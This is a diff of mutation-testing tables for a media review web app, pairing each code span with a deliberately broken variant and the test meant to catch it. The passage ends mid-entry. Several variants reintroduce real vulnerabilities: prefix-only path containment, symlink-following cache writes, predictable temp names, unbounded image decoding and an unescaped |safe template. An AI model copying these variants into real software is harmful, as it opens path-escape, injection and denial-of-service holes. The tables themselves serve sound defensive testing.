new = '''
|
||||
if form.get("side"):
|
||||
url += "&side=" + str(form.get("side"))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the landing carries a fragment"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
|
||||
old = '''
|
||||
return RedirectResponse(url=url, status_code=303)
|
||||
return RedirectResponse(url=f"{base}#{anchor}", status_code=303)'''
|
||||
new = '''
|
||||
return RedirectResponse(url=url + "#" + anchor, status_code=303)
|
||||
return RedirectResponse(url=f"{base}#{anchor}", status_code=303)'''
|
||||
|
||||
# ---- C4: the stages
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the sides stack on a wide screen (compare's break is not the review's 900px)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
# Not the column count: each side spans every row (subgrid), so a single
|
||||
# declared column still auto-places the second side into an implicit column
|
||||
# beside the first — that row was vacuous. The break is what a slip moves.
|
||||
old = '''
|
||||
@media (max-width:900px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
new = '''
|
||||
@media (max-width:1600px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 a caption takes its height from one stage only (Fit draws the two at two scales)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
.cmp-side{display:grid;grid-row:1 / -1;grid-template-rows:subgrid;'''
|
||||
new = '''
|
||||
.cmp-side{display:grid;grid-row:1 / -1;grid-template-rows:auto minmax(0,1fr) auto;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 stacked, a stage keeps the review's 60vh"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
.review.compare .vstage{height:45vh}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 Z is not bound (the mode key is missing on compare)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_one_mode_for_both_and_for_the_review"
|
||||
old = '''
|
||||
else if ((k === 'z' || k === 'Z') && mode) mode.flip();'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 no synced pan"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_synced_pan_lands_on_the_same_crop"
|
||||
old = '''
|
||||
sync(s.el, other);'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the sync copies the pixel offset, not the fraction"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_synced_pan_by_fraction_for_different_sizes"
|
||||
old = '''
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;'''
|
||||
new = '''
|
||||
if (fx > 0 && tx > 0) l = from.scrollLeft;
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the synced-pan loop guard is gone (a sync echoes back and walks the side put)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_synced_pan_by_fraction_for_different_sizes"
|
||||
old = '''
|
||||
if (mine) {
|
||||
s.el.__synced = null;
|
||||
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
|
||||
}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- C2/C3: the view state and the keys, in the page
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 unlinked, an arrow still moves both sides"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');'''
|
||||
new = '''
|
||||
var which = 'both' + (dir < 0 ? '-prev' : '-next');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the unlinked state does not survive a step (it is not in the next URL)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
if (!linked) parts.push('link=0');'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 X does not swap the active side"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the active stage does not wear the reticle"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
.cmp-side.is-active>.cmp-stagewrap::after,.film-f.is-active::after{content:"";'''
|
||||
new = '''
|
||||
.film-f.is-active::after{content:"";'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 a strip click always replaces B (not the side active now)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
|
||||
old = '''
|
||||
var pick = f.getAttribute('data-pick-' + active);
|
||||
if (!pick) return;'''
|
||||
new = '''
|
||||
var pick = f.getAttribute('data-pick-b');
|
||||
if (!pick) return;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 a press on a stage does not make its side active"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
|
||||
old = '''
|
||||
s.el.addEventListener('pointerdown', function () { setActive(s.k); });'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the active side is not written back into the URL (a reload forgets it)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
|
||||
old = '''
|
||||
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 a held modifier does not make the keys inert"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''
|
||||
if (isEditable(e.target)) return;
|
||||
if (e.metaKey || e.ctrlKey || e.altKey) return;
|
||||
var k = e.key;'''
|
||||
new = '''
|
||||
if (isEditable(e.target)) return;
|
||||
var k = e.key;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 Space on a focused control steps instead of pressing it"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''
|
||||
if (e.target.closest && e.target.closest('button, a, summary, video, audio')) return;'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-6 the review has no C key"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''
|
||||
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- C5: judging in place
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 a stage is a region (a save swaps it, and a playing track restarts)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
|
||||
old = '''<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}'''
|
||||
new = '''<div data-region="stage-{{ key }}" class="vstage{% if s.kind == 'image' %} is-img{% endif %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the B key presses the first flag button on the page (A's)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
|
||||
old = '''
|
||||
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());'''
|
||||
new = '''
|
||||
var btn = document.querySelector('.cmp-flag .vflag-btn');'''
|
||||
|
||||
# ---- C6: blur
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 Reveal all leaves the per-side reveals standing"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''
|
||||
.reveal-all .cmp-reveal{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 a side's reveal lifts A's blur whichever side it sits on"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');'''
|
||||
new = '''
|
||||
var stage = sides.a.querySelector('.vstage');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 compare's root is not a .review (the blur rules do not reach its stages)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''<div class="viewer review compare" data-linked'''
|
||||
new = '''<div class="viewer compare" data-linked'''
|
||||
|
||||
# ---- INV-4: without JS
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-4 the JS-only Linked toggle shows without JS (inline-flex beats [hidden])"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_without_js_every_judgment_and_step_still_works"
|
||||
old = '''
|
||||
.cmp-link[hidden]{display:none}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-4 without JS a strip frame goes nowhere useful (links the review instead)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_without_js_every_judgment_and_step_still_works"
|
||||
old = '''
|
||||
href="{{ x.pick }}" data-rel'''
|
||||
new = '''
|
||||
href="/b/{{ name_url }}/view?f={{ x.url }}" data-rel'''
|
||||
|
||||
# ---- the top bar at phone width (the review's, and compare's)
|
||||
|
||||
[[mutation]]
|
||||
label = "at phone width a full top bar scrolls the page sideways instead of wrapping"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_review_and_doc_top_bars_fit_a_phone"
|
||||
old = '''
|
||||
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "compare's top bar crushes its controls at phone width (the Fit | 1:1 toggle to 2px)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
# ---- the heid code-review fold (01M3AJXX8RH4QZPY5D1DQWQQGQ)
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the separator is a border on B (B's stage 1px narrower than A's)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
background:var(--surface-sunken)}'''
|
||||
new = '''
|
||||
background:var(--surface-sunken)}
|
||||
.cmp-side+.cmp-side{border-left:1px solid var(--border-subtle)}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 the stack break drifts to 1000px"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
|
||||
old = '''
|
||||
@media (max-width:900px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
new = '''
|
||||
@media (max-width:1000px){
|
||||
.viewer.review.compare{display:block}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 a side with nothing to scroll on an axis does not ignore it (0/0 resets the other)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_an_axis_with_nothing_to_scroll_is_ignored"
|
||||
old = '''
|
||||
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;'''
|
||||
new = '''
|
||||
if (ty > 0) t = from.scrollTop / fy * ty;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C4 two videos get a Fit | 1:1 toggle"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_video_or_track_plays_in_its_own_stage_and_two_get_no_toggle"
|
||||
old = '''
|
||||
"any_image": any(by_rel[r].kind == "image" for r in (a, b)),'''
|
||||
new = '''
|
||||
"any_image": True,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 Space on a focused player steps the pair"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
|
||||
old = '''e.target.closest('button, a, summary, video, audio')'''
|
||||
new = '''e.target.closest('button, a, summary')'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C3 there is no back arrow"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
|
||||
old = '''
|
||||
else if (k === 'ArrowLeft') step(-1);'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 containment is a bare prefix (a sibling booth sharing the name opens)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_an_outside_symlink_in_the_ring_is_404"
|
||||
old = '''
|
||||
return str(target).startswith(str(booth) + os.sep) and target.is_file()'''
|
||||
new = '''
|
||||
return str(target).startswith(str(booth)) and target.is_file()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 the strip is not in ring order"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_compare_renders_the_pair"
|
||||
old = '''
|
||||
"pick_a": url(r, b), "pick_b": url(a, r)} for r in ring]'''
|
||||
new = '''
|
||||
"pick_a": url(r, b), "pick_b": url(a, r)} for r in ring[::-1]]'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C6 each reveal lifts B's blur whichever side it sits on"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
|
||||
old = '''
|
||||
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');'''
|
||||
new = '''
|
||||
var stage = sides.b.querySelector('.vstage');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C5 the strip does not show a flag made in place"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
|
||||
old = '''<a class="film-f{% if x.flagged %} is-flagged{% endif %}'''
|
||||
new = '''<a class="film-f'''
|
||||
|
||||
# ---- the heid bug-hunt fold (01M3ANEPHTDMPP4Q18Z075181W)
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 navigation is built from the review ring (it offers an outside symlink that 404s)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_no_navigation_offers_a_pair_that_404s"
|
||||
old = '''
|
||||
return [r for r in review_chain(items) if _in_booth(booth, r)]'''
|
||||
new = '''
|
||||
return list(review_chain(items))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a NUL in the booth segment is a 500 (ValueError is not an OSError)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_hostile_booth_names_are_404_not_500"
|
||||
old = '''
|
||||
resolved = candidate.resolve()
|
||||
except (OSError, ValueError):'''
|
||||
new = '''
|
||||
resolved = candidate.resolve()
|
||||
except OSError:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a FIFO planted at .viewed hangs the look (a blocking open)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_planted_fifo_marker_cannot_hang_a_look"
|
||||
old = '''os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW | os.O_NONBLOCK, 0o644)'''
|
||||
new = '''os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o644)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 an encoded view-state name survives the rewrite (%73ide=a outlives X)"
|
||||
file = "booth/templates/compare.html"
|
||||
test = "tests/test_compare_browser.py::test_an_encoded_view_state_name_is_still_view_state"
|
||||
old = '''
|
||||
return p && n !== 'side' && n !== 'link';'''
|
||||
new = '''
|
||||
return p && !/^(side|link)(=|$)/.test(p);'''
|
||||
|
||||
# ---- after the merge: booth-dev's race note (01M3AT7GKCPATJD5YW0PR3SRPT)
|
||||
|
||||
[[mutation]]
|
||||
label = "C1 a side is judged twice (the ring rebuilt per side): a side that vanishes between is a 500"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_side_that_vanishes_mid_request_never_500s"
|
||||
old = '''
|
||||
ring = _compare_ring(booth, items) # built ONCE; every rel judged once
|
||||
a = _compare_side(ring, a)
|
||||
b = _compare_side(ring, b)'''
|
||||
new = '''
|
||||
a = _compare_side(_compare_ring(booth, items), a)
|
||||
b = _compare_side(_compare_ring(booth, items), b)
|
||||
ring = _compare_ring(booth, items)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "C2 the review offers Compare for an item that vanished after its own check"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_the_review_hides_compare_when_its_item_vanishes_mid_request"
|
||||
old = '''
|
||||
if _in_booth(booth, f):
|
||||
partner'''
|
||||
new = '''
|
||||
if True:
|
||||
partner'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a NUL in the raw file path is a 500 (the stages load through this route)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_compare.py::test_a_nul_in_a_file_path_is_404_not_500"
|
||||
old = '''
|
||||
target = (booth / filepath).resolve()
|
||||
except (OSError, ValueError):'''
|
||||
new = '''
|
||||
target = (booth / filepath).resolve()
|
||||
except OSError:'''
|
||||
|
||||
# Refuted, not rowed (bug hunt): "a right-click mid-drag ends the pan" — a
|
||||
# second button pressed and released during a drag arrives as chorded
|
||||
# `pointermove` events, never a `pointerup` (measured 3/3 in the test browser,
|
||||
# the pan continuing each time). "A non-UTF-8 name 500s compare in `quote()`" —
|
||||
# booth_items never yields a rel that quote() cannot encode (test_flow's
|
||||
# test_ordinals_count_rendered_items_only).
|
||||
#
|
||||
# Accepted, not rowed: the mode's `onChange: settleAll` (re-deciding which stage
|
||||
# can pan) is redundant with compare's ResizeObserver — 1:1 drops the stage's
|
||||
# padding, so every mode change resizes the stage's content box and the
|
||||
# observer settles both. Its row stayed green; each alone holds.
|
||||
#
|
||||
# Accepted, not rowed: the `booth:swapped` restate is redundant with the URL
|
||||
# rewrite — the in-place client re-fetches `location.href`, which already
|
||||
# carries `side`, so the fresh strip renders the active side itself. Each alone
|
||||
# holds; the save test (a_save_keeps_the_active_side) sees the pair.
|
||||
@@ -0,0 +1,142 @@
|
||||
# Thumbnails sized for the tile's WIDTH at 2x density, not 512 on the longest
|
||||
# side. The operator on sindra-nude-final, 2026-09-23: "the images look blurry
|
||||
# until they're selected and blown up". Every row is a change
|
||||
# tests/test_thumbs.py or tests/test_thumbs_browser.py claims to forbid.
|
||||
|
||||
unit = "thumbnails sized for the tile"
|
||||
|
||||
[[mutation]]
|
||||
label = "the old rule: bound the longest side at 512 (portraits get 256px of width)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_portrait_keeps_its_full_width"
|
||||
old = '''
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))'''
|
||||
new = '''
|
||||
im.thumbnail((512, 512))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the width bound is below what the desktop tile needs at 2x"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs_browser.py::test_a_thumbnail_covers_its_tile_at_2x_density"
|
||||
old = '''
|
||||
THUMB_WIDTH = 768'''
|
||||
new = '''
|
||||
THUMB_WIDTH = 640'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no height bound: a long screenshot goes through at full height"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_extremely_tall_image_is_bounded_by_height_too"
|
||||
old = '''
|
||||
im.thumbnail((THUMB_WIDTH, THUMB_HEIGHT_MAX))'''
|
||||
new = '''
|
||||
im.thumbnail((THUMB_WIDTH, 10 ** 6))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "fitting in pixels is taken as light in bytes (the megabyte portrait is served whole)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_tile_width_image_that_is_heavy_still_gets_a_thumbnail"
|
||||
old = '''
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
|
||||
new = '''
|
||||
if fits:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an already small, light image gets a cache entry that saves nothing"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_already_small_image_gets_no_thumbnail"
|
||||
old = '''
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
|
||||
new = '''
|
||||
if fits and getattr(im, "is_animated", False):'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a heavy animated GIF that fits is flattened to one frame"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_animated_gif_that_fits_is_served_as_itself"
|
||||
old = '''
|
||||
if fits and (s_stat.st_size <= THUMB_LIGHT_BYTES or getattr(im, "is_animated", False)):'''
|
||||
new = '''
|
||||
if fits and s_stat.st_size <= THUMB_LIGHT_BYTES:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unversioned cache name: a thumbnail cut to the old rule is served forever"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_thumbnail_cut_to_the_old_rule_is_not_served"
|
||||
old = '''
|
||||
return booth / THUMB_DIR / f"{rel}.{rule}.webp"'''
|
||||
new = '''
|
||||
return booth / THUMB_DIR / (rel + ".webp")'''
|
||||
|
||||
# ---- the heid bug-hunt on this change (4/4 arms), folded ------------------------
|
||||
|
||||
[[mutation]]
|
||||
label = "a cache hit trusts the name and the mtime (a planted directory is served)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_planted_directory_at_the_cache_path_is_not_served"
|
||||
old = '''
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns'''
|
||||
new = '''
|
||||
return o.st_mtime_ns >= s_stat.st_mtime_ns'''
|
||||
|
||||
[[mutation]]
|
||||
label = "freshness is 'at least as new' (a cp -p'd older source pins the old thumbnail)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_source_replaced_with_an_older_mtime_is_rebuilt"
|
||||
old = '''
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns == s_stat.st_mtime_ns'''
|
||||
new = '''
|
||||
return stat.S_ISREG(o.st_mode) and o.st_mtime_ns >= s_stat.st_mtime_ns'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the cache dirs are made by following links (a planted .thumbs link escapes the booth)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_symlinked_cache_dir_is_never_written_through"
|
||||
old = '''
|
||||
if not _cache_dir(booth, out.parent):
|
||||
return None'''
|
||||
new = '''
|
||||
out.parent.mkdir(parents=True, exist_ok=True)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a predictable temp name the encoder writes through"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_planted_link_at_the_old_temp_name_cannot_redirect_the_write"
|
||||
old = '''
|
||||
fd, tmp = tempfile.mkstemp(prefix=".", suffix=".tmp", dir=out.parent)
|
||||
try:
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
im.save(fh, "WEBP", quality=THUMB_QUALITY, method=4)'''
|
||||
new = '''
|
||||
tmp = str(out) + f".{os.getpid()}.tmp"
|
||||
try:
|
||||
im.save(tmp, "WEBP", quality=THUMB_QUALITY, method=4)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "RGBA chosen by getbands() alone (palette transparency baked opaque)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_palette_transparency_survives_the_thumbnail"
|
||||
old = '''
|
||||
alpha = "A" in im.getbands() or "transparency" in im.info'''
|
||||
new = '''
|
||||
alpha = "A" in im.getbands()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "EXIF orientation ignored (a camera portrait tiled sideways)"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_a_camera_portrait_is_sized_and_saved_upright"
|
||||
old = '''
|
||||
orientation = im.getexif().get(0x0112, 1)'''
|
||||
new = '''
|
||||
orientation = 1'''
|
||||
|
||||
[[mutation]]
|
||||
label = "no pixel budget: whatever the header claims is decoded"
|
||||
file = "booth/thumbs.py"
|
||||
test = "tests/test_thumbs.py::test_an_image_past_the_pixel_budget_is_never_decoded"
|
||||
old = '''
|
||||
if w * h > THUMB_MAX_PIXELS:
|
||||
return None'''
|
||||
new = '''
|
||||
if False:
|
||||
return None'''
|
||||
@@ -0,0 +1,236 @@
|
||||
# U7 — every falsifier the navigation unit claims, and the change it forbids.
|
||||
#
|
||||
# Generated from the session harness that proved them, not retyped. Each `old`
|
||||
# must match the source byte-for-byte; a drifted anchor is REPORTED, never
|
||||
# silently skipped — a table that stops matching stops proving anything.
|
||||
|
||||
unit = "the rail, the filters, the grid keyboard, and the groups"
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-2 sort the grid by (group, rel) so groups render contiguously"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_grouping_never_reorders_the_grid"
|
||||
old = '''
|
||||
shown = buckets[active]'''
|
||||
new = '''
|
||||
shown = sorted(buckets[active], key=lambda i: (i["group"] or "", i["name"]))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-3a drop the >=2 groups guard (a rail with one row)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_no_group_rail_when_there_is_only_one_group"
|
||||
old = '''
|
||||
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
|
||||
new = '''
|
||||
if len(sizes) < 1 or sizes[len(sizes) // 2] <= 1:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-3b drop the median guard (a rail that is a second copy of the grid)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_no_group_rail_when_every_item_is_its_own_group"
|
||||
old = '''
|
||||
if len(sizes) < 2 or sizes[len(sizes) // 2] <= 1:'''
|
||||
new = '''
|
||||
if len(sizes) < 2:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "groups derived from the FULL gallery, not the rendered list"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_groups_describe_the_filtered_grid"
|
||||
old = '''
|
||||
"groups": _groups(shown),'''
|
||||
new = '''
|
||||
"groups": _groups(gallery),'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the anchor names the group key instead of the tile id"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_every_group_anchor_lands_on_a_rendered_tile"
|
||||
old = '''
|
||||
{"key": k, "n": len(v), "anchor": f"item-{v[0]['url']}"}'''
|
||||
new = '''
|
||||
{"key": k, "n": len(v), "anchor": f"group-{k}"}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail orders groups alphabetically instead of by first member"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_group_order_is_the_position_of_the_first_member"
|
||||
old = '''
|
||||
for k, v in by_group.items()'''
|
||||
new = '''
|
||||
for k, v in sorted(by_group.items())'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail orders groups by count, which the docstring also claims differs"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_group_order_is_the_position_of_the_first_member"
|
||||
old = '''
|
||||
for k, v in by_group.items()'''
|
||||
new = '''
|
||||
for k, v in sorted(by_group.items(), key=lambda kv: -len(kv[1]))'''
|
||||
|
||||
[[mutation]]
|
||||
label = "_group_of reverts to the contract's original strip-trailing-digits rule"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_items.py::test_group_of_takes_the_first_segment"
|
||||
old = '''
|
||||
segs = _SEG.split(stem)
|
||||
if len(segs) == 1:
|
||||
return re.sub(r"\d+$", "", stem) or None
|
||||
return segs[0] or None'''
|
||||
new = '''
|
||||
m = re.match(r"^(.*?)[-_. ]?\d+$", stem)
|
||||
return (m.group(1) or None) if m else (stem or None)'''
|
||||
|
||||
[[mutation]]
|
||||
label = "INV-1 a route body derives the group inline"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_navigation.py::test_no_route_body_derives_a_group"
|
||||
old = '''
|
||||
by_group: dict[str, list[dict]] = {}'''
|
||||
new = '''
|
||||
_ = _group_of # noqa
|
||||
by_group: dict[str, list[dict]] = {}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the rail markup is emitted with |safe"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_navigation.py::test_a_hostile_filename_cannot_break_out_of_the_rail"
|
||||
old = '''
|
||||
